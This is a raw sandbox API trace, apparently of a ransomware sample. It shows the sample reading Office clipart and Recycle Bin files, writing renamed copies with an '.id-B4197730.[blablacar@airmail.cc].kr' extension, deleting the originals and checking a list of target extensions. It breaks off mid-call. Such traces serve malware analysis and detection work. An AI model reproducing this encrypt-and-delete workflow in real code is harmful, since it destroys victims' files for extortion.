[0108.658] SetEndOfFile (hFile=0x364) returned 1 [0108.658] CloseHandle (hObject=0x364) returned 1 [0108.660] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0108.661] SetEndOfFile (hFile=0x388) returned 1 [0108.662] CloseHandle (hObject=0x388) returned 1 [0108.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0108.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.663] lstrlenW (lpString=".doc") returned 4 [0108.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.663] lstrlenW (lpString=".docx") returned 5 [0108.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.663] lstrlenW (lpString=".pdf") returned 4 [0108.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.663] lstrlenW (lpString=".xls") returned 4 [0108.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.663] lstrlenW (lpString=".xlsx") returned 5 [0108.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.663] lstrlenW (lpString=".ppt") returned 4 [0108.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.663] lstrlenW (lpString=".zip") returned 4 [0108.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.663] lstrlenW (lpString=".rar") returned 4 [0108.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.663] lstrlenW (lpString=".bz2") returned 4 [0108.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.663] lstrlenW (lpString=".7z") returned 3 [0108.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.663] lstrlenW (lpString=".dbf") returned 4 [0108.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.664] lstrlenW (lpString=".1cd") returned 4 [0108.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.664] lstrlenW (lpString=".jpg") returned 4 [0108.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.664] lstrlenW (lpString=".doc") returned 4 [0108.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.664] lstrlenW (lpString=".docx") returned 5 [0108.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.664] lstrlenW (lpString=".pdf") returned 4 [0108.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.664] lstrlenW (lpString=".xls") returned 4 [0108.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.664] lstrlenW (lpString=".xlsx") returned 5 [0108.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.664] lstrlenW (lpString=".ppt") returned 4 [0108.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.664] lstrlenW (lpString=".zip") returned 4 [0108.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.665] lstrlenW (lpString=".rar") returned 4 [0108.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.665] lstrlenW (lpString=".bz2") returned 4 [0108.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.665] lstrlenW (lpString=".7z") returned 3 [0108.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.665] lstrlenW (lpString=".dbf") returned 4 [0108.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.665] lstrlenW (lpString=".1cd") returned 4 [0108.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0108.665] lstrlenW (lpString=".jpg") returned 4 [0108.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.665] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.665] lstrlenW (lpString="BD00155_.WMF") returned 12 [0108.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0108.666] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=11636) returned 1 [0108.666] CloseHandle (hObject=0x388) returned 1 [0108.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0108.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0108.666] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0108.666] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0108.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.667] GetLastError () returned 0x0 [0108.667] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x2d74, lpOverlapped=0x0) returned 1 [0108.828] WriteFile (in: hFile=0x364, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x2d80, lpOverlapped=0x0) returned 1 [0108.830] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0108.830] WriteFile (in: hFile=0x364, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0108.830] SetEndOfFile (hFile=0x364) returned 1 [0109.569] CloseHandle (hObject=0x364) returned 1 [0109.570] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0109.570] SetEndOfFile (hFile=0x388) returned 1 [0109.571] CloseHandle (hObject=0x388) returned 1 [0109.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0109.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0109.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.572] lstrlenW (lpString=".doc") returned 4 [0109.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.572] lstrlenW (lpString=".docx") returned 5 [0109.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.572] lstrlenW (lpString=".pdf") returned 4 [0109.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.572] lstrlenW (lpString=".xls") returned 4 [0109.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.572] lstrlenW (lpString=".xlsx") returned 5 [0109.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.572] lstrlenW (lpString=".ppt") returned 4 [0109.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.573] lstrlenW (lpString=".zip") returned 4 [0109.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.573] lstrlenW (lpString=".rar") returned 4 [0109.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.573] lstrlenW (lpString=".bz2") returned 4 [0109.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.573] lstrlenW (lpString=".7z") returned 3 [0109.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.573] lstrlenW (lpString=".dbf") returned 4 [0109.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.573] lstrlenW (lpString=".1cd") returned 4 [0109.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.573] lstrlenW (lpString=".jpg") returned 4 [0109.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.573] lstrlenW (lpString=".doc") returned 4 [0109.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.573] lstrlenW (lpString=".docx") returned 5 [0109.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.573] lstrlenW (lpString=".pdf") returned 4 [0109.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.573] lstrlenW (lpString=".xls") returned 4 [0109.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.574] lstrlenW (lpString=".xlsx") returned 5 [0109.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.574] lstrlenW (lpString=".ppt") returned 4 [0109.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.574] lstrlenW (lpString=".zip") returned 4 [0109.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.574] lstrlenW (lpString=".rar") returned 4 [0109.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.574] lstrlenW (lpString=".bz2") returned 4 [0109.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.574] lstrlenW (lpString=".7z") returned 3 [0109.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.574] lstrlenW (lpString=".dbf") returned 4 [0109.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.574] lstrlenW (lpString=".1cd") returned 4 [0109.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0109.574] lstrlenW (lpString=".jpg") returned 4 [0109.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.575] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0109.575] lstrlenW (lpString="BD08773_.WMF") returned 12 [0109.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0109.575] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=24778) returned 1 [0109.575] CloseHandle (hObject=0x388) returned 1 [0109.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0109.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0109.576] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0109.576] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0109.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.576] GetLastError () returned 0x0 [0109.576] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x60ca, lpOverlapped=0x0) returned 1 [0109.578] WriteFile (in: hFile=0x364, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x60d0, lpOverlapped=0x0) returned 1 [0109.580] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0109.580] WriteFile (in: hFile=0x364, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0109.580] SetEndOfFile (hFile=0x364) returned 1 [0109.580] CloseHandle (hObject=0x364) Thread: id = 9 os_tid = 0xb10 [0078.592] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x4963a0 [0078.592] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x4e1500 [0078.593] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc230 [0078.593] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x6) returned 0x4de608 [0078.593] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc140 [0078.593] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x100000) returned 0x327d020 [0078.597] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc1e8 [0078.597] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc1e8, Size=0x20) returned 0x47f078 [0078.597] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc158 [0078.597] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc158, Size=0x20) returned 0x47f500 [0078.597] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0078.597] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0078.597] Wow64DisableWow64FsRedirection (in: OldValue=0x296ff50 | out: OldValue=0x296ff50*=0x0) returned 1 [0078.597] lstrlenW (lpString="kernel32.dll") returned 12 [0078.597] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f078 | out: hHeap=0x440000) returned 1 [0078.597] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0078.597] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f500 | out: hHeap=0x440000) returned 1 [0078.598] Sleep (dwMilliseconds=0x64) [0079.032] lstrcmpiW (lpString1=".ini", lpString2=".kr") returned -1 [0079.033] lstrlenW (lpString="desktop.ini") returned 11 [0079.033] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0079.033] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=129) returned 1 [0079.033] CloseHandle (hObject=0x2c8) returned 1 [0079.033] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0079.033] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0079.034] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0079.034] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.034] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.034] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0079.035] GetLastError () returned 0x0 [0079.035] ReadFile (in: hFile=0x2c8, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x81, lpOverlapped=0x0) returned 1 [0079.071] WriteFile (in: hFile=0x2cc, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x90, lpOverlapped=0x0) returned 1 [0079.073] ReadFile (in: hFile=0x2c8, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.073] WriteFile (in: hFile=0x2cc, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xea, lpOverlapped=0x0) returned 1 [0079.073] SetEndOfFile (hFile=0x2cc) returned 1 [0079.074] CloseHandle (hObject=0x2cc) returned 1 [0079.553] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.553] SetEndOfFile (hFile=0x2c8) returned 1 [0079.554] CloseHandle (hObject=0x2c8) returned 1 [0079.554] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x26) returned 1 [0079.555] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0079.555] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.555] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.555] lstrlenW (lpString=".doc") returned 4 [0079.555] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0079.555] lstrlenW (lpString=".docx") returned 5 [0079.555] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0079.555] lstrlenW (lpString=".pdf") returned 4 [0079.555] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0079.555] lstrlenW (lpString=".xls") returned 4 [0079.555] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0079.555] lstrlenW (lpString=".xlsx") returned 5 [0079.555] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0079.555] lstrlenW (lpString=".ppt") returned 4 [0079.555] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0079.555] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.555] lstrlenW (lpString=".zip") returned 4 [0079.556] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0079.556] lstrlenW (lpString=".rar") returned 4 [0079.556] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0079.556] lstrlenW (lpString=".bz2") returned 4 [0079.556] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0079.556] lstrlenW (lpString=".7z") returned 3 [0079.556] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0079.556] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.556] lstrlenW (lpString=".dbf") returned 4 [0079.556] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0079.556] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.556] lstrlenW (lpString=".1cd") returned 4 [0079.556] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0079.556] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.556] lstrlenW (lpString=".jpg") returned 4 [0079.556] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0079.556] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.556] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.556] lstrlenW (lpString=".doc") returned 4 [0079.556] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0079.556] lstrlenW (lpString=".docx") returned 5 [0079.556] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0079.556] lstrlenW (lpString=".pdf") returned 4 [0079.556] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0079.556] lstrlenW (lpString=".xls") returned 4 [0079.556] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0079.556] lstrlenW (lpString=".xlsx") returned 5 [0079.557] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0079.557] lstrlenW (lpString=".ppt") returned 4 [0079.557] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0079.557] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.557] lstrlenW (lpString=".zip") returned 4 [0079.557] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0079.557] lstrlenW (lpString=".rar") returned 4 [0079.557] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0079.557] lstrlenW (lpString=".bz2") returned 4 [0079.557] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0079.557] lstrlenW (lpString=".7z") returned 3 [0079.557] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0079.557] lstrlenW 